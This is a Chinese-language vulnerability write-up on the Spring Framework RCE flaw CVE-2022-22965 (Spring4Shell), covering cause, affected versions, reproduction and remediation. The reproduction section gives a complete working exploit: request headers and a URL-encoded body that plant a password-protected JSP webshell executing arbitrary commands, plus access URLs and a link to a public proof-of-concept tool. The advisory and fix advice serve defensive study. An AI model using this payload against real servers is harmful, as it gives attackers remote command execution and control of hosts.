Spring Framework远程代码执行漏洞(CVE-2022-22965)
一、漏洞描述
springframework 是spring 里面的一个基础开源框架,主要用于javaee的企业开发。
2022年3月30日,Spring框架曝出RCE 0day漏洞,攻击者通过该漏洞可远程实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。
二、漏洞成因
该漏洞是由于 Spring Core 未对传输的数据进行有效的验证。Spring MVC 框架提供参数绑定功能,允许用请求中的参数绑定控制器方法中参数对象的成员变量。这一机制使得攻击者能够通过构造恶意请求获取 AccessLogValve 对象,继而注入恶意字段值触发 pipeline 机制,从而能够在未授权的情况下远程构造恶意数据,写入任意路径下的文件,从而导致远程代码执行。
三、影响版本
Spring Framework 5.3.X < 5.3.18
Spring Framework 5.2.X < 5.2.20
注:其他小版本未更新均受影响
四、利用条件
JDK 版本 >= 9
使用了 Spring 框架或衍生框架
CachedIntrospectionResults.class
五、漏洞复现
1.手工复现:
Vulfocus 搭建环境
开环境,burp抓包change request method,上POC
数据包请求头添加:
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Content-Length: 2
请求体:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
放包,页面访问直接RCE
http://ip:端口/tomcatwar.jsp?pwd=j&cmd=id
2.python工具复现:
工具下载地址:https://github.com/reznok/Spring4Shell-POC
浏览器访问http://123.58.236.76:16164/shell.jsp?cmd=whoami即可看到“whoami”命令成功执行。
六、修复建议
一、官方修复建议:
当前 Spring Framework 官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
二、临时修复建议:
该临时修复建议存在一定风险,建议用户可根据业务系统特性审慎选择采用临时修复方案:
需同时按以下两个步骤进行漏洞的临时修复:
-
在应用中全局搜索 @InitBinder 注解,看看方法体内是否调用 dataBinder.setDisallowedFields 方法,如果发现此代码片段的引入,则在原来的黑名单中,添加 {“class.","Class. “,”. class.”, “.Class.”}。(注:如果此代码片段使用较多,需要每个地方都追加)
-
在应用系统的项目包下新建以下全局类,并保证这个类被 Spring 加载到 (推荐在 Controller 所在的包中添加). 完成类添加后,需对项目进行重新编译打包和功能验证测试。并重新发布项目。